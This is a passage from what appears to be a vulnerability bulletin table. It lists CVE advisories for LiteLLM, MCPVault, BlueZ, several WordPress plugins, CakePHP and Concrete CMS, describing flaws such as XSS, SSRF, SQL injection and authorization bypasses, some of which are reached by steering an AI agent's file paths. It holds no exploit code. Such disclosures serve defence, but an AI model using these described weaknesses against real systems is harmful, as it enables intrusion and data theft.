&lt;td&gt;LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. Prior to 1.83.9, an authenticated LiteLLM Proxy caller with a valid virtual key can place api_base inside the user_config request body to bypass is_request_body_safe, which blocks top-level api_base and base_url but previously did not inspect or reject user_config. Because user_config constructs the outbound router, the nested destination redirects a server-side request to an internal or external host selected by the caller and can expose endpoints the caller cannot otherwise access. This issue is fixed in version 1.83.9.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-59823&quot; target=&quot;_blank&quot;&gt;CVE-2026-59823&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;BharatMLStack --BharatMLStack&amp;nbsp;&lt;/td&gt;
&lt;td&gt;BharatMLStack up to and including v1.3.0 is vulnerable to Cross Site Scripting (XSS) in the component Trufflebox UI (trufflebox-ui) in GenericNumerixTable.jsx.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-39038&quot; target=&quot;_blank&quot;&gt;CVE-2026-39038&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;BharatMLStack --BharatMLStack&amp;nbsp;&lt;/td&gt;
&lt;td&gt;In BharatMLStack up to and including v1.3.0, Trufflebox UI stores the JWT authentication token, full user object, and session ID in the browser&#039;s localStorage, which is fully accessible to any JavaScript running on the page.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-39039&quot; target=&quot;_blank&quot;&gt;CVE-2026-39039&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;BharatMLStack --BharatMLStack&amp;nbsp;&lt;/td&gt;
&lt;td&gt;BharatMLStack up to and including 1.3.0 is vulnerable to Cross Site Scripting (XSS) via the component Trufflebox UI (trufflebox-ui) in ExpressionViewModal.jsx.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-39040&quot; target=&quot;_blank&quot;&gt;CVE-2026-39040&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;bitbonsai--mcpvault&lt;/td&gt;
&lt;td&gt;MCPVault is a lightweight Model Context Protocol server for safe access to files in an Obsidian vault. Prior to 0.11.4, PathFilter in src/pathfilter.ts compiles restricted-directory patterns case-sensitively and compares paths without canonicalizing filesystem-equivalent segment names. On case-insensitive macOS and Windows filesystems, case variants of .git, .obsidian, or node_modules pass both isAllowed() and isAllowedForListing() even though the operating system opens the restricted directory, and Windows trailing dots or spaces provide the same bypass. An attacker who influences a path selected by an AI agent can use the bypass in read, write, move, search, or listing operations to expose or modify sensitive repository and Obsidian metadata. Vault-root .. containment is not affected. This issue is fixed in version 0.11.4.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57441&quot; target=&quot;_blank&quot;&gt;CVE-2026-57441&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;bitbonsai--mcpvault&lt;/td&gt;
&lt;td&gt;MCPVault is a lightweight Model Context Protocol server for safe access to files in an Obsidian vault. Prior to 0.11.5, PathFilter in src/pathfilter.ts uses root-anchored deny-list patterns, so nested .git, .obsidian, and node_modules path segments do not match the restriction and pass both isAllowed() and isAllowedForListing(). An attacker who influences a path selected by an AI agent can traverse nested repository or Obsidian metadata, read remote URLs or embedded tokens, or cause nested node_modules content to pollute the listAllTags index. This issue is fixed in version 0.11.5.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57442&quot; target=&quot;_blank&quot;&gt;CVE-2026-57442&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;bizwell--xClick&lt;/td&gt;
&lt;td&gt;Improper input validation vulnerability in bizwell xClick allows Stored XSS. This issue affects xClick: R2, R3, and R3.1.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88261&quot; target=&quot;_blank&quot;&gt;CVE-2026-88261&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;bizwell--xClick&lt;/td&gt;
&lt;td&gt;Insufficient session expiration vulnerability in bizwell xClick allows Authentication Bypass. This issue affects xClick: R2, R3, and R3.1.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88262&quot; target=&quot;_blank&quot;&gt;CVE-2026-88262&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;BlueZ--BlueZ&lt;/td&gt;
&lt;td&gt;BlueZ A2DP Stack-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of BlueZ. An attacker must first obtain the ability to pair a malicious Bluetooth device with the target system in order to exploit this vulnerability. The specific flaw exists within the handling of the stream endpoints. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-29429.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19774&quot; target=&quot;_blank&quot;&gt;CVE-2026-19774&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Bookit Booking &amp;amp; Appointment Calendar--Bookit Booking &amp;amp; Appointment Calendar&lt;/td&gt;
&lt;td&gt;The Bookit - Booking &amp;amp; Appointment Calendar WordPress plugin before 2.6.0.5 does not perform a capability check in one of its appointment-deletion functions, allowing users with its low-privileged custom Staff role to delete arbitrary appointments.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89007&quot; target=&quot;_blank&quot;&gt;CVE-2026-89007&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Bookit Booking &amp;amp; Appointment Calendar--Bookit Booking &amp;amp; Appointment Calendar&lt;/td&gt;
&lt;td&gt;The Bookit - Booking &amp;amp; Appointment Calendar WordPress plugin before 2.6.0.5 does not perform an authorization check on one of its appointment-retrieval actions, allowing users with a low-privilege Bookit - Booking &amp;amp; Appointment Calendar WordPress plugin before 2.6.0.5-specific role to read other users&#039; appointment records, including customer names, email addresses, phone numbers and private booking comments.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89008&quot; target=&quot;_blank&quot;&gt;CVE-2026-89008&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Botiga Pro--Botiga Pro&lt;/td&gt;
&lt;td&gt;The Botiga Pro WordPress plugin before 1.6.5 does not perform any authorisation checks on one of its REST routes, allowing unauthenticated users to update arbitrary WordPress options with arbitrary values, which could lead to privilege escalation and a full site takeover. The same route also allows unauthenticated users to store arbitrary web scripts which are then executed on every page of the site&#039;s front end, as well as to move arbitrary posts to the trash.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86591&quot; target=&quot;_blank&quot;&gt;CVE-2026-86591&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Brain Trust--Gallery - Private Photo Vault&lt;/td&gt;
&lt;td&gt;Gallery - Private Photo Vault 1.0.41 starts an unauthenticated HTTP server that is reachable from the local network. The server listens on TCP port 8080 and serves files and directory listings from Android external storage.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77884&quot; target=&quot;_blank&quot;&gt;CVE-2026-77884&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Business Name Generator--Business Name Generator&lt;/td&gt;
&lt;td&gt;The Business Name Generator WordPress plugin through 1.3 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-15698&quot; target=&quot;_blank&quot;&gt;CVE-2025-15698&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;C-MOR Video Surveillance --C-MOR Video Surveillance&amp;nbsp;&lt;/td&gt;
&lt;td&gt;The C-MOR Video Surveillance web interface (up to version 6.0104) is vulnerable to Path Traversal via the &#039;cam&#039; parameter in show-movies.pml.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-51134&quot; target=&quot;_blank&quot;&gt;CVE-2026-51134&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;C-MOR Video Surveillance--C-MOR Video Surveillance&lt;/td&gt;
&lt;td&gt;Cross Site Scripting vulnerability in za-internet GmbH C-MOR Video Surveillance &amp;lt;= V6.0104 allows a remote attacker to execute arbitrary code via the size parameter in ptzpreset.pml component and the showmovies.pml component&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-51133&quot; target=&quot;_blank&quot;&gt;CVE-2026-51133&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cakephp--cakephp&lt;/td&gt;
&lt;td&gt;CakePHP is a rapid development framework for PHP. Prior to 4.5.12, 4.6.5, 5.1.9, 5.2.14, and 5.3.7, FunctionsBuilder::cast, FunctionsBuilder::extract, FunctionsBuilder::datePart, and FunctionsBuilder::dateAdd in src/Database/FunctionsBuilder.php accept user-controlled dataType, part, or unit values and incorporate them into generated SQL as unescaped structural fragments. An application that passes untrusted input to these parameters can permit SQL injection with confidentiality, integrity, and availability impact according to the database connection&#039;s privileges. This issue is fixed in versions 4.5.12, 4.6.5, 5.1.9, 5.2.14, and 5.3.7.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79752&quot; target=&quot;_blank&quot;&gt;CVE-2026-79752&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Choose User Role at Registration--Choose User Role at Registration&lt;/td&gt;
&lt;td&gt;The Choose User Role at Registration WordPress plugin before 1.3.3 does not validate the role requested at registration against the roles an administrator chose to offer, allowing unauthenticated users to request any role, including administrator, and to be granted it once the request is approved. Exploitation requires the Choose User Role at Registration WordPress plugin before 1.3.3&#039;s role selection feature and public account registration to both be enabled.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85128&quot; target=&quot;_blank&quot;&gt;CVE-2026-85128&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cmusphinx--pocketsphinx&lt;/td&gt;
&lt;td&gt;PocketSphinx is a small speech recognizer. Prior to 5.1.1, the trie language-model loaders in src/lm/ngram_model_trie.c do not adequately validate boundary conditions in ARPA, DMP, and binary format headers, and the acoustic-model loaders in src/mdef.c and src/util/bio.c use sscanf with unbounded string fields. Loading an invalid, corrupted, or malicious language or acoustic model can therefore cause stack or heap buffer overflows and memory corruption. An attacker who can write to a directory selected by POCKETSPHINX_PATH can replace or add a model file that PocketSphinx later loads; users of PocketSphinx 5prealpha have no backported patch and must migrate to the fixed release. This issue is fixed in version 5.1.1.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54559&quot; target=&quot;_blank&quot;&gt;CVE-2026-54559&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Comments Import &amp;amp; Export--Comments Import &amp;amp; Export&lt;/td&gt;
&lt;td&gt;The Comments Import &amp;amp; Export WordPress plugin before 2.5.4 does not restrict its comment export to users able to moderate comments, nor scope the export to content owned by the requesting user, allowing users with the Author role and above to retrieve every comment on the site, including commenter email addresses, IP addresses, unapproved comment content and comment meta.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87836&quot; target=&quot;_blank&quot;&gt;CVE-2026-87836&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS 9 (9.0.0 through 9.5.2) does not perform an authorization check on the user selector autocomplete endpoint (/ccm/system/user/autocomplete), which backs the &quot;Preview as User&quot; panel and other user-selector components. The endpoint validates only a CSRF-style access token that is bound to the selector&#039;s display options rather than to the caller&#039;s identity or permissions, and that token is issued to anonymous visitors because the selector renders without an authorization check. Because an empty query resolves to a match-all filter, an unauthenticated attacker can submit an empty search and paginate the results to enumerate every backend account, disclosing the internal user ID, username, and email address of all administrative users, including the super-administrator (user ID 1). No password hashes or session material are disclosed The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 8.7 with vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N. Thanks thirtythree and YesWeHack for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18110&quot; target=&quot;_blank&quot;&gt;CVE-2026-18110&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS 9 before 9.5.3 was vulnerable to stored cross-site scripting (XSS) in the Feature, Feature Link, Hero Image, and Image blocks and before Concrete 8.5.21 in the feature and Image blocks because the external link URL was insufficiently validated by the link filter and was rendered without output escaping. A user with page-editing permissions (such as Add Block combined with Edit Contents on a single page) could store a crafted external link value that broke out of the link markup and injected arbitrary JavaScript. The script executed in the browser session of any user who subsequently viewed, previewed, or edited the affected page, which could lead to session hijacking and escalation of privileges up to full administrative takeover. The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 8.5 with vector CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N. Thanks to KhanMarshai for reporting this issue.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18111&quot; target=&quot;_blank&quot;&gt;CVE-2026-18111&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;In Concrete CMS 9.0 to 9.5.2, the Top Navigation Bar block did not HTML-escape dropdown child page names before writing them into the page, so a user who could create or rename pages could store a script through a child page name and have it run in the browser of any visitor, editor, or administrator who viewed the navigation and opened the affected dropdown. In the Concrete CMS origin, the script executed with the victim&#039;s privileges and could read same-origin content or perform actions available to that user.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 7.5 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N. Thanks labixiaoxin97&amp;nbsp;for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18113&quot; target=&quot;_blank&quot;&gt;CVE-2026-18113&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS 9.2.0 to 9.5.2 did not enforce per-field edit_user_properties permissions on the REST API user write endpoints (PUT /ccm/api/1.0/users/{uID} and POST /ccm/api/1.0/users/{uID}/change_password). A user with an update-scoped OAuth token and permission to edit only one non-sensitive field could change another non-superuser&#039;s password, username, email, and attributes, taking over that account.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 7.4 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N. Thanks riodrwn for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18115&quot; target=&quot;_blank&quot;&gt;CVE-2026-18115&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS 8.3.0 to 9.5.2 stored calendar event names without sanitization and rendered them without HTML escaping in the workflow approval and deletion notifications shown in the dashboard &quot;Waiting For Me&quot; block. A registered user permitted to add events to a calendar governed by an approval workflow could submit an event whose name contained a script payload, which then executed in an administrator&#039;s browser when the pending request was displayed and could be used to create a new administrator account.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 7.3 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N. Thanks v01demort for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18116&quot; target=&quot;_blank&quot;&gt;CVE-2026-18116&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS 9.0.0 through 9.5.3 is vulnerable to stored XSS via the custom page alias name (customAliasName) because the Edit Alias dialog applied only trim() to the submitted value and performed no input neutralization. An authenticated user holding canWrite (editor) permission on a page could store a malicious alias name that was later rendered unescaped in the administrative Sitemap panel, where it executed automatically in any administrator or editor session that opened the panel, allowing an editor to escalate to administrator through the victim&#039;s active session.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 7.3 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:P/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N. Thanks Nguyen Manh Thuan for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18117&quot; target=&quot;_blank&quot;&gt;CVE-2026-18117&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS below 9.5.3 did not sanitize custom style values in the Block Design dialog before writing them into page CSS via a DOM sink, permitting stored cross-site scripting. An editor-level user could execute script in an administrator&#039;s session and escalate privileges.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 7.0 with vector CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N. Thanks Nguyen Manh Thuan for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18119&quot; target=&quot;_blank&quot;&gt;CVE-2026-18119&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS before 9.5.3 exposed a legacy Express entry search endpoint that returned entry result JSON without invoking the canViewExpressEntries() permission check applied by the normal dashboard and CSV Export flow. An unauthenticated visitor who knew or discovered an Express entity identifier could enumerate that entity&#039;s entry search results, disclosing attribute values intended to be restricted to privileged users. For Express entities that do not support entry-specific permissions (i.e., supportsEntrySpecificPermissions() returns false), per-entry permission filtering is additionally disabled via EntryList::ignorePermissions().&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 6.3 with vector CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N. Thanks Daniel Powell for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18120&quot; target=&quot;_blank&quot;&gt;CVE-2026-18120&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS 9 through 9.5.2 does not perform an authorization check in three actions of the Boards data source dashboard controller (update, update_data_source, and delete_data_source), which resolve a ConfiguredDataSource directly from an attacker-supplied identifier without confirming the requester&#039;s edit permission on the owning board. A user granted edit_board_settings on a single board was therefore able to modify or permanently delete the configured data sources of any other board on the site, halting the affected board&#039;s content feed and resetting its custom weighting. The CSRF token that guards these actions was validated but bound to the action name rather than to the target object, so a token legitimately obtained for one board could be replayed against another board&#039;s ConfiguredDataSource identifier and did not constrain access.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 2.1 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N. Thanks Winston Crooker for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18421&quot; target=&quot;_blank&quot;&gt;CVE-2026-18421&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS before 9.5.3 did not enforce a destination-side authorization check and did not validate a CSRF token in the multilingual page assignment backend action (Backend\Page\Multilingual::assign). As a result, an authenticated user who held the Edit Page Multilingual Settings permission on a single page could bind an arbitrary page in another locale as that source page&#039;s translation, and could delete legitimate translation pairs maintained by other editors, altering public-facing language routing across the site.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 2.1 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N. Thanks Winston Crooker for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18422&quot; target=&quot;_blank&quot;&gt;CVE-2026-18422&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS 9.0.0 through 9.5.2 is vulnerable to Insecure direct object reference (IDOR) in the Express saved search preset delete and edit dialogs . An authenticated user holding only view permission on a single Express entity could therefore permanently delete, with no undo, or rename saved search presets owned by Express entities for which they had no permission, and a renamed preset name was displayed back to users of the targeted entity, enabling defacement or social engineering.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 2.1 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N. Thanks Yalguun Tumenkhuu ( fg0x0 ) for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18423&quot; target=&quot;_blank&quot;&gt;CVE-2026-18423&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS 9.0.0 to 9.5.2 is vulnerable to Server-Side Request Forgery iremote file import via cross-port reuse of a host&#039;s validated DNS pin. When multiple remote URLs share the same host, only the first `ValidatedRemoteUrl` is retained and reused for every later URL with that host. A low-privileged authenticated user permitted to import files could therefore supply a DNS-rebinding host that resolved to a public address during validation and to a private or loopback address during the unpinned download, causing the server to fetch internal-only resources such as loopback services, internal admin panels, or cloud metadata endpoints and to save the responses into the file manager.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 2.1 with vector CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N. Thanks Ahmad Wicaksono (sonix03) for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18424&quot; target=&quot;_blank&quot;&gt;CVE-2026-18424&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS 9 before 9.5.3 authorized the dashboard sitemap reorder action (Concrete\Controller\Backend\Dashboard\SitemapUpdate) using only the global access_sitemap task permission and did not check per-page edit permission before updating each page&#039;s display order. As a result, an authenticated user granted sitemap access could change the display order (cDisplayOrder) of any pages they had no rights to edit, altering the order in which those pages render in navigation, breadcrumb, and page-list output. The reorder action additionally validated no CSRF token, so the write could be triggered by a forged request.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 2.1 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N. Thanks Winston Crooker for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
